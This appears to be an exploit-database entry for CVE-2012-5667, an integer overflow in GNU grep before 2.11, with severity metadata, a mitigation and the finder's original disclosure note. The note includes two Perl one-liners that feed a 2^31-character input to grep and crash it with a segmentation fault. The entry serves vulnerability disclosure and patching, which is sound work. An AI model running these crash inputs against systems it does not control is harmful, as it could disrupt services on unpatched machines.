Grep - exploit.company

vendor:

Grep

by:

Joshua Rogers

3,3

CVSS

LOW

Integer Overflow

190

CWE

Product Name: Grep

Affected Version From: <2.11

Affected Version To: <2.11

Patch Exists: YES

Related CWE: CVE-2012-5667

CPE: a:gnu:grep

Metasploit: https://www.rapid7.com/db/vulnerabilities/linuxrpm-RHSA-2015-1447/, https://www.rapid7.com/db/vulnerabilities/gentoo-linux-cve-2012-5667/, https://www.rapid7.com/db/vulnerabilities/f5-big-ip-cve-2012-5667/, https://www.rapid7.com/db/vulnerabilities/oracle-solaris-cve-2012-5667/

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux, Ubuntu, Redhat

2012

Grep <2.11 is vulnerable to int overflow exploitation

Grep <2.11 is vulnerable to int overflow exploitation. Although it is patched in the recent Grep, this update has not been pushed to the Ubuntu repos, or the Redhat repos, leaving 99% of those OS's(and more) vulnerable. There are also many other ways to do this bug. It is low severity because it would be extremely hard to actually exploit it, and it is a local exploit, and it is not run by root.

Mitigation:

Update to the latest version of Grep, or patch the vulnerable version.

Source

Exploit-DB raw data:

Grep <2.11 is vulnerable to int overflow exploitation.

http://lists.gnu.org/archive/html/bug-grep/2012-03/msg00007.html

Although it is patched in the recent Grep,
This update has not been pushed to the Ubuntu repos, or the Redhat
repos, leaving 99% of those OS's(and more) vulnerable.


There are also many other ways to do this bug.

It is low severity because it would be extremely hard to actually
exploit it, and it is a local exploit, and it is not run by root.

Found By: Security Researcher - Joshua Rogers


More:
https://bugzilla.redhat.com/show_bug.cgi?id=889935
https://bugs.launchpad.net/ubuntu/+source/grep/+bug/1091473
http://seclists.org/oss-sec/2012/q4/504
etc.

#There are many ways of doing this.

#Method one:
$ perl -e 'print "x"x(2**31)' | grep x > /dev/null
Segmentation fault (core dumped)


#Method two:
$ perl -e 'print "\nx"x(2**31)' | grep -c x > /dev/null


Twitter: https://twitter.com/MegaManSec


CVE: CVE-2012-5667
-- 
*Joshua Rogers* - Retro Game Collector && IT Security Specialist
gpg pubkey <http://www.internot.info/docs/gpg_pubkey.asc.gpg>